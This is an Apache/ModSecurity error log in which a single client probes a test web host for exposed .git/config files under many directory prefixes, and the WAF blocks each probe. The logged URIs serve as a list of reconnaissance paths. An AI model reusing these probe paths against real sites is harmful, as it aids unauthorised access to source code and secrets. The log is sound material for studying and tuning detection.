[Tue Dec 03 03:51:54.701746 2024] [:error] [pid 3718389] [client 179.43.188.122:49318] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/css../.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFQAAAAA"]
[Tue Dec 03 03:51:54.733979 2024] [:error] [pid 3718392] [client 179.43.188.122:49332] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets../.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakQAAAAM"]
[Tue Dec 03 03:51:54.734391 2024] [:error] [pid 3718392] [client 179.43.188.122:49332] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets../.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakQAAAAM"]
[Tue Dec 03 03:51:54.734618 2024] [:error] [pid 3718392] [client 179.43.188.122:49332] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets../.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakQAAAAM"]
[Tue Dec 03 03:51:54.736363 2024] [:error] [pid 3718391] [client 179.43.188.122:49334] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content../.git/config"] [unique_id "Z05ySskOD90yt6tvnj2-wAAAAAI"]
[Tue Dec 03 03:51:54.736732 2024] [:error] [pid 3718391] [client 179.43.188.122:49334] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content../.git/config"] [unique_id "Z05ySskOD90yt6tvnj2-wAAAAAI"]
[Tue Dec 03 03:51:54.737193 2024] [:error] [pid 3718391] [client 179.43.188.122:49334] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content../.git/config"] [unique_id "Z05ySskOD90yt6tvnj2-wAAAAAI"]
[Tue Dec 03 03:51:54.774535 2024] [:error] [pid 3718390] [client 179.43.188.122:49342] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KAAAAAE"]
[Tue Dec 03 03:51:54.774537 2024] [:error] [pid 3718640] [client 179.43.188.122:49338] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/events../.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErQAAAAY"]
[Tue Dec 03 03:51:54.775072 2024] [:error] [pid 3718390] [client 179.43.188.122:49342] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KAAAAAE"]
[Tue Dec 03 03:51:54.775099 2024] [:error] [pid 3718640] [client 179.43.188.122:49338] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/events../.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErQAAAAY"]
[Tue Dec 03 03:51:54.775473 2024] [:error] [pid 3718390] [client 179.43.188.122:49342] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KAAAAAE"]
[Tue Dec 03 03:51:54.775544 2024] [:error] [pid 3718640] [client 179.43.188.122:49338] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/events../.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErQAAAAY"]
[Tue Dec 03 03:51:54.812612 2024] [:error] [pid 3718403] [client 179.43.188.122:49366] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /scripts/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/scripts/.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBYgAAAAU"]
[Tue Dec 03 03:51:54.813243 2024] [:error] [pid 3718403] [client 179.43.188.122:49366] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/scripts/.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBYgAAAAU"]
[Tue Dec 03 03:51:54.813319 2024] [:error] [pid 3718393] [client 179.43.188.122:49346] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lib../.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbFwAAAAQ"]
[Tue Dec 03 03:51:54.813662 2024] [:error] [pid 3718403] [client 179.43.188.122:49366] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/scripts/.git/config"] [unique_id "Z05ySiSprIZhWfa05WPBYgAAAAU"]
[Tue Dec 03 03:51:54.813882 2024] [:error] [pid 3718393] [client 179.43.188.122:49346] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lib../.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbFwAAAAQ"]
[Tue Dec 03 03:51:54.814340 2024] [:error] [pid 3718393] [client 179.43.188.122:49346] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lib../.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbFwAAAAQ"]
[Tue Dec 03 03:51:54.817409 2024] [:error] [pid 3718389] [client 179.43.188.122:49350] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/images../.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFgAAAAA"]
[Tue Dec 03 03:51:54.817918 2024] [:error] [pid 3718389] [client 179.43.188.122:49350] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/images../.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFgAAAAA"]
[Tue Dec 03 03:51:54.818360 2024] [:error] [pid 3718389] [client 179.43.188.122:49350] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/images../.git/config"] [unique_id "Z05yStz3iA2SsyYhC6dzFgAAAAA"]
[Tue Dec 03 03:51:54.850285 2024] [authz_core:error] [pid 3718391] [client 179.43.188.122:49376] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.git
[Tue Dec 03 03:51:54.850324 2024] [:error] [pid 3718392] [client 179.43.188.122:49374] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /js/libs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/libs/.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakgAAAAM"]
[Tue Dec 03 03:51:54.850895 2024] [:error] [pid 3718392] [client 179.43.188.122:49374] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/libs/.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakgAAAAM"]
[Tue Dec 03 03:51:54.851303 2024] [:error] [pid 3718392] [client 179.43.188.122:49374] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/libs/.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakgAAAAM"]
[Tue Dec 03 03:51:54.854562 2024] [:error] [pid 3718390] [client 179.43.188.122:49390] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KQAAAAE"]
[Tue Dec 03 03:51:54.855162 2024] [:error] [pid 3718390] [client 179.43.188.122:49390] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KQAAAAE"]
[Tue Dec 03 03:51:54.855587 2024] [:error] [pid 3718390] [client 179.43.188.122:49390] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "Z05ySjyXJ-YYyYJAX9Q2KQAAAAE"]
[Tue Dec 03 03:51:54.889483 2024] [:error] [pid 3718640] [client 179.43.188.122:49394] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /source/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/source/.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErgAAAAY"]
[Tue Dec 03 03:51:54.889879 2024] [:error] [pid 3718640] [client 179.43.188.122:49394] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/source/.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErgAAAAY"]
[Tue Dec 03 03:51:54.890163 2024] [:error] [pid 3718640] [client 179.43.188.122:49394] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/source/.git/config"] [unique_id "Z05ySrZfi9eLA6ctZFcErgAAAAY"]
[Tue Dec 03 03:51:54.890933 2024] [authz_core:error] [pid 3718403] [client 179.43.188.122:49402] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.git
[Tue Dec 03 03:51:54.892079 2024] [:error] [pid 3718393] [client 179.43.188.122:49406] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbGAAAAAQ"]
[Tue Dec 03 03:51:54.892711 2024] [:error] [pid 3718393] [client 179.43.188.122:49406] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbGAAAAAQ"]
[Tue Dec 03 03:51:54.893139 2024] [:error] [pid 3718393] [client 179.43.188.122:49406] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "Z05ySqbYn-Yqmk1OVzHbGAAAAAQ"]
[Tue Dec 03 03:51:54.928269 2024] [:error] [pid 3718392] [client 179.43.188.122:49430] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakwAAAAM"]
[Tue Dec 03 03:51:54.929036 2024] [:error] [pid 3718392] [client 179.43.188.122:49430] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakwAAAAM"]
[Tue Dec 03 03:51:54.929555 2024] [:error] [pid 3718391] [client 179.43.188.122:49436] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.git/config"] [unique_id "Z05ySskOD90yt6tvnj2-wgAAAAI"]
[Tue Dec 03 03:51:54.929555 2024] [:error] [pid 3718392] [client 179.43.188.122:49430] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "Z05yStyy8nN_0LGgM1DakwAAAAM"]
[Tue Dec 03 03:51:54.930129 2024] [:error] [pid 3718391] [client 179.43.188.122:49436] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.git/config"] [unique_id "Z05ySskOD90yt6tvnj2-wgAAAAI"]
